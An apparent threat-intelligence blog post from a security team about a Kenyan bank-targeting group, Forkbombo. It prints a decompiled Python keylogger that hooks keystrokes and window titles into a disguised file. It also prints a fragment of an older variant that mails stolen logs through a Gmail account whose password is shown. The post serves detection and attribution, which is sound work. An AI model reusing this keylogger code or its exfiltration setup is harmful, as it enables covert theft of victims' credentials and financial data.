The 2018 HailMary keylogger upgrade by FORKBOMBO Threat group

Overview

Since last year after the threat group discovered we, OnNet team knew where the logger data was stored, mostly in %ProgramData% , this threat group overhauled their previous Fsociety-keylogger and decided to write a new one.

Previously, the keylogger they used in most of 2018 heists was compiled with an Microsoft Onenote icon and saved as OneNote.exe, which saved files as tarred resources in %ProgramData%

Since mid 2018, the code was change and files were saved as swapfile.usernamecompromised.sys

Below is a de-compiled version of the python code.

import pythoncom
import pyHook
import sys
import logging
import socket
import datetime, time
import os
import win32gui
import threading
from threading import Timer
from threading import Thread
#import shutil
#import ftplib
import base64
import random

LOG_NEWACTIVE=''
LOG_ACTIVE=''
LOG_TEXT=''
now = datetime.datetime.now()
COMPUTER_NAME= socket.gethostname()+" "+ socket.gethostbyname(socket.gethostname()) + ": "

#print COMPUTER_NAME
LOGGED_IN=os.getenv('USERNAME')
FILE_NAME=os.getenv('AllUsersProfile')+"\\" + LOGGED_IN + ".sys"

def randomize_time():
    random_time = 0
    for x in range(7):
        random_time = random.randint(1,10)
    return random_time

def save_logs(txt):
    f = open(FILE_NAME, 'a') # or 'w'?
    f.write(txt)
    f.close()
    LOG_TEXT = ""

def getSystemVersion():
    #print os.environ
    print ""


#==============================  
def hailmary():
    hookme = pyHook.HookManager()
    q=120^2
    hookme.KeyDown = OnKeyboardEvent
    trm=q/2
    hookme.HookKeyboard()
    print trm
    pythoncom.PumpMessages() #will wait forever
    
    return True

def OnKeyboardEvent(event):
    global LOG_NEWACTIVE, LOG_ACTIVE, LOG_TEXT, MAIL_SENT
    LOG_NEWACTIVE=''
    wg=win32gui
    LOG_NEWACTIVE = wg.GetWindowText (wg.GetForegroundWindow())
    if LOG_NEWACTIVE != LOG_ACTIVE:
        #----------
        LOG_TEXT += " " + LOG_NEWACTIVE + " |\n"
        LOG_TEXT += "=" * len(LOG_NEWACTIVE) + "===\n\n"
        #-----------
        LOG_ACTIVE = LOG_NEWACTIVE
        print LOG_NEWACTIVE
        now = datetime.datetime.now()
#-----------------------
##        f = open(FILE_NAME, 'a') # or 'w'?
##        f.write("\n============================================================================= \n")
##        f.write("<<Active Window:"+"<<"+event.WindowName+">>Date<<"+str(now)+">>HOST<<"+COMPUTER_NAME+ ">>USER<<"+ LOGGED_IN+">>\n")
##        f.write("\n=============================================================================\n")
##        f.close()
        LOG_TEXT += "\n============================================================================= \n"
        LOG_TEXT += "<<Active Window:"+"<<"+event.WindowName+">>Date<<"+str(now)+">>HOST<<"+COMPUTER_NAME+ ">>USER<<"+ LOGGED_IN+">>\n"
        LOG_TEXT += "\n=============================================================================\n"
        print LOG_TEXT
#-----------------------

    getSystemVersion()
    LOG_TEXT = ""	
    if event.Ascii == 8: LOG_TEXT += "[Bks]"
    elif event.Ascii == 13 : LOG_TEXT += "[ENT]\n"
    elif event.Ascii == 9: LOG_TEXT += "[Tab]\n"
    elif event.Ascii == 14 or event.Ascii == 15: LOG_TEXT += "[Shift]\n"
    
    else: LOG_TEXT += str(chr(event.Ascii))
    print LOG_TEXT
    #--------------
##    f = open(FILE_NAME, 'a') # or 'w'?
##    f.write(LOG_TEXT)
##    f.close()
    
    return True

def sleeper():
    while True:
        # Get user input
        ##num = raw_input('How long to wait: ')
        global LOG_TEXT
        num = randomize_time()
        print "Waiting time:%s ", num
        # Try to convert it to a float
        try:
            num = float(num)
        except ValueError:
            print('Please enter in a number.\n')
            continue
 
        # Run our time.sleep() command,
        # and show the before and after time
        print('Before: %s' % time.ctime())
        time.sleep(num)
        save_logs(LOG_TEXT)
        print('After: %s\n' % time.ctime())
        

#main loop

S0s = Thread(target=hailmary, args=())
S0s.start()

threadzHz = threading.Thread(target=sleeper, args=())
threadzHz.start()

##zz = Thread(target=data_in_data_out, args=())
##zz.start()


Detection

Currently the logger is saved as deskjet.exe with a HP icon and its copied via SMB service laterally from an RUT backdoor. RUT Backdoors are usually installed by insiders and can be detected, by locating a process called rutserv.exe

With above revelations, we are going to expect a lot of Tactics, Techniques and Procedures, (TTPs) changes by this Threat group especially from their Python coder.

Understanding the Adversaries : The Forkbombo group.

The Forkbombo code-name of this threat actor was derived from a toolkit they used back in 2016-2017 to send keylogger data after infecting an institution. The email was forkbombo@gmail.com

This is a homegrown cyber threat actor that has been active since 2015 and has grown to a huge cartel made up of Money Launderers, Hackers, Coders, Operators and Insiders. This adversary represents constant threat to a wide variety of institutions mostly being the Banking sector around Kenya and its neighboring countries.

This threat actor is known to specialize in python scripts to create quick tools for exploitation phase of an environment. They are also known to use opensource tools like Empire, Metasploit, DeathStar, Bloodhound, CrackMapExec, Aesshell, XmultiShell, CHAOS, Katoolin etc.

Their initial keylogger was written by a student who later became a bigger player of the group and he registered forkbombo@gmail.com in 2016 to be used as mail receiver of the keylogger data as below:

import pythoncom, pyHook, sys, logging, socket, datetime, os, win32gui,time
import smtplib
from email.MIMEMultipart import MIMEMultipart
from email.MIMEBase import MIMEBase
from email.MIMEText import MIMEText
from email import Encoders
global MAIL_SENT
MAIL_SENT=False
gmail_user = “forkbombo@gmail.com”
gmail_pwd = “mlimani_25891011”
LOG_NEWACTIVE=”
LOG_ACTIVE=”
LOG_TEXT=”
now = datetime.datetime.now()
COMPUTER_NAME= socket.gethostname()+” “+ socket.gethostbyname(socket.gethostname()) + “: “
LOGGED_IN=os.getenv(‘USERNAME’)
PATH_FILE=os.getenv(‘UserProfile’)
FILE_NAME=str(PATH_FILE)+”\”+LOGGED_IN+’.tar.gz’

This email was used in a lot of money heists around the Nairobi before they changed to rodnetmark@gmail.com and later agentrodnet@gmail.com for further attacks. Whenever the keylogger generated its data, a file with extension .tar.gz was saved at the usernames userprofile with the username as the name of the file. When we responded to institutions with Forkbombo malware infestation we would find servers and workstations full of these text files that had that extension.

A reversed keylogger snapshot of the old Forkbombo’s logger that sent data to a Gmail account.

In 2017, several key leaders of Forkbombo group were arrested in a Safehouse they used in Yaya center with several hackers disappearing into the woods and splitting into two groups.

OnNet team do pursue them and has code-named these threat actors as SilentCards and GrapZone for attribution. In 2018, Grapzone members including money mules joined back together and new bigger Forkbombo group was made.

In the coming months, OnNet team will share with you more deeper CTI on these groups, why they are currently at a dispute and opposing sides.

OnNet pays special attention to these intruders and is currently pursuing other Advanced Financial Threats that are targeting our customers.